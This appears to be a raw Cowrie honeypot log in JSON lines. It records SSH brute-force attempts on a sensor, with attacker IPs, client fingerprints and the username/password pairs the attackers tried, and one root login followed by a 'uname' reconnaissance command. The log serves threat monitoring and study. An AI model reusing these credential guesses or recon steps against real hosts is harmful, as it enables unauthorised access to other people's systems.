{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:12.935323Z","src_ip":"159.65.30.211","session":"7b900dbbfe02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":48702,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ab02015a849","protocol":"ssh","message":"New connection: 45.148.10.121:48702 (10.17.0.5:22) [session: 6ab02015a849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:13.229101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:13.233494Z","src_ip":"45.148.10.121","session":"6ab02015a849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:13.312918Z","src_ip":"45.148.10.121","session":"6ab02015a849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:13.684232Z","src_ip":"45.148.10.121","session":"6ab02015a849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:14.765538Z","src_ip":"45.148.10.121","session":"6ab02015a849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.044492244720459,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:15.793205Z","src_ip":"190.216.132.13","session":"2489a273e122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":57108,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb6ae0c38e06","protocol":"ssh","message":"New connection: 45.79.127.249:57108 (10.17.0.5:22) [session: eb6ae0c38e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:18.880733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:18.884023Z","src_ip":"45.79.127.249","session":"eb6ae0c38e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:19.099114Z","src_ip":"45.79.127.249","session":"eb6ae0c38e06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"theta","password":"theta2018!","message":"login attempt [theta/theta2018!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:19.534560Z","src_ip":"45.79.127.249","session":"eb6ae0c38e06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:20.752001Z","src_ip":"45.79.127.249","session":"eb6ae0c38e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":58926,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0e69b07ce32","protocol":"ssh","message":"New connection: 172.105.63.214:58926 (10.17.0.5:22) [session: a0e69b07ce32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:28.406612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:28.410059Z","src_ip":"172.105.63.214","session":"a0e69b07ce32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:28.620024Z","src_ip":"172.105.63.214","session":"a0e69b07ce32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vtho","password":"vtho1","message":"login attempt [vtho/vtho1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:29.043834Z","src_ip":"172.105.63.214","session":"a0e69b07ce32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:30.256694Z","src_ip":"172.105.63.214","session":"a0e69b07ce32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":57476,"dst_ip":"159.203.135.109","dst_port":22,"session":"148df002d1d3","protocol":"ssh","message":"New connection: 14.225.2.125:57476 (159.203.135.109:22) [session: 148df002d1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:54.184493Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:54.449728Z","src_ip":"14.225.2.125","session":"148df002d1d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":57482,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c8fab5654ca","protocol":"ssh","message":"New connection: 14.225.2.125:57482 (159.203.135.109:22) [session: 8c8fab5654ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:54.724372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:54.728883Z","src_ip":"14.225.2.125","session":"8c8fab5654ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:55.002968Z","src_ip":"14.225.2.125","session":"8c8fab5654ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mokha","password":"1","message":"login attempt [mokha/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:55.823206Z","src_ip":"14.225.2.125","session":"8c8fab5654ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:05:57.132564Z","src_ip":"14.225.2.125","session":"8c8fab5654ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":58348,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfabcef2fcc0","protocol":"ssh","message":"New connection: 2.57.122.96:58348 (159.203.135.109:22) [session: cfabcef2fcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:06:06.652299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:06:06.658239Z","src_ip":"2.57.122.96","session":"cfabcef2fcc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:06:06.749034Z","src_ip":"2.57.122.96","session":"cfabcef2fcc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:06:07.274250Z","src_ip":"2.57.122.96","session":"cfabcef2fcc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:06:08.371130Z","src_ip":"2.57.122.96","session":"cfabcef2fcc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":44430,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5056eb31b27","protocol":"ssh","message":"New connection: 92.118.39.95:44430 (159.203.135.109:22) [session: e5056eb31b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:06:47.377459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:06:47.447245Z","src_ip":"92.118.39.95","session":"e5056eb31b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:06:47.488692Z","src_ip":"92.118.39.95","session":"e5056eb31b27","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"jitoproxy","message":"login attempt [root/jitoproxy] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:06:47.897975Z","src_ip":"92.118.39.95","session":"e5056eb31b27","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:06:48.145072Z","src_ip":"92.118.39.95","session":"e5056eb31b27","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:06:48.148000Z","src_ip":"92.118.39.95","session":"e5056eb31b27","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:06:48.255465Z","src_ip":"92.118.39.95","session":"e5056eb31b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:06:48.260189Z","src_ip":"92.118.39.95","session":"e5056eb31b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.121","src_port":64840,"dst_ip":"159.203.135.109","dst_port":22,"session":"dceaea8faee3","protocol":"ssh","message":"New connection: 198.235.24.121:64840 (159.203.135.109:22) [session: dceaea8faee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:07:03.494821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:07:04.663725Z","src_ip":"198.235.24.121","session":"dceaea8faee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:07:06.054154Z","src_ip":"198.235.24.121","session":"dceaea8faee3","protocol":"ssh"}
